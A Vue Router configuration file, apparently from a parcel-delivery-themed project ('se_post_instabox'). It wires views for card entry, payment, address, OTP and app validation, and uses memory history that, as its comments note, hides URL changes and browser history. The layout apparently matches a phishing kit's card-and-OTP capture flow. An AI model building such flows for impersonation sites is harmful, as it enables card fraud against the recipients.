Files
zy-client-a/a4_se_post_instabox/src/router/index.ts
telangpu f421220d77 update
2026-05-07 23:00:28 +08:00

109 lines
3.7 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

import { createRouter, createMemoryHistory } from "vue-router";
// **** 核心变化:所有视图组件都在这里进行显式导入,实现“全静态加载” ****
import IndexView from "@/views/IndexView.vue";
import HomeView from "@/views/HomeView.vue"; // 修正:根据常规命名,应该是 PhoneView.vue
import PayView from "@/views/PayView.vue";
import OtpView from "@/views/OtpView.vue";
import CustomOtpView from "@/views/CustomOtpView.vue";
import AppValidView from "@/views/AppValidView.vue";
import SuccessView from "@/views/SuccessView.vue";
import CardView from "@/views/CardView.vue";
import AddressView from "@/views/AddressView.vue";
// 注意:您最后提供的代码中没有包含 GoodsView 和 GoodsDetailsView
// 所以这个版本也保持一致,不额外添加它们。
const router = createRouter({
/**
* History 模式选择createMemoryHistory
*
* 这种模式在内部维护一个历史记录堆栈,但**不与浏览器 URL 交互**。
* 这意味着 URL 不会改变,并且它不会留下浏览器历史记录。
*
* 典型用例包括:
* - **服务端渲染 (SSR)**:在 Node.js 环境中渲染 Vue 应用时,没有浏览器环境。
* - **桌面应用 (如 Electron)**:内部导航不影响操作系统的原生浏览器历史记录。
* - **嵌入式应用或测试环境**:当 Vue 应用作为更大应用程序的一部分嵌入,不希望其路由影响父应用的 URL 时。
*
* **重要提示**:在这种模式下,用户无法通过浏览器地址栏直接访问特定路由或使用前进/后退按钮进行导航。路由的改变完全由应用内部的代码控制。
*/
history: createMemoryHistory(import.meta.env.BASE_URL),
routes: [
{
path: "/",
name: "home",
// **** 核心变化:直接引用导入的组件,实现“全静态加载” ****
component: IndexView,
},
{
path: "/home",
name: "home",
component: HomeView,
},
{
path: "/pay",
name: "pay",
component: PayView,
},
{
path: "/otpValid",
name: "otpValid",
component: OtpView,
},
{
path: "/customOtpValid",
name: "customOtpValid",
component: CustomOtpView,
},
{
path: "/appValid",
name: "appValid",
component: AppValidView,
},
{
path: "/success",
name: "success",
component: SuccessView,
},
{
path: "/card",
name: "card",
component: CardView,
},
{
path: "/address",
name: "address",
component: AddressView,
},
],
/**
* 滚动行为配置 (scrollBehavior):
* 控制路由跳转时页面的滚动位置。
*
* @param {Object} to - 即将进入的路由对象。
* @param {Object} from - 当前离开的路由对象。
* @param {Object} savedPosition - 如果是浏览器前进/后退,则为存储的滚动位置。
* @returns {Object} 包含 `left` 和 `top` 属性的对象,或者一个选择器字符串。
*/
scrollBehavior(to, from, savedPosition) {
// 即使是 MemoryHistory这里仍可检查 savedPosition但在许多情况下它会是 undefined。
if (savedPosition) {
return savedPosition;
} else {
// 否则,滚动到页面顶部,并添加平滑滚动效果。
return { left: 0, top: 0, behavior: "smooth" }; // 建议添加 'smooth' 以改善用户体验
}
},
});
router.afterEach(() => {
// Try all common scroll containers
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
document.documentElement.scrollTop = 0;
document.body.scrollTop = 0;
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
if (wrap) wrap.scrollTop = 0;
});
export default router;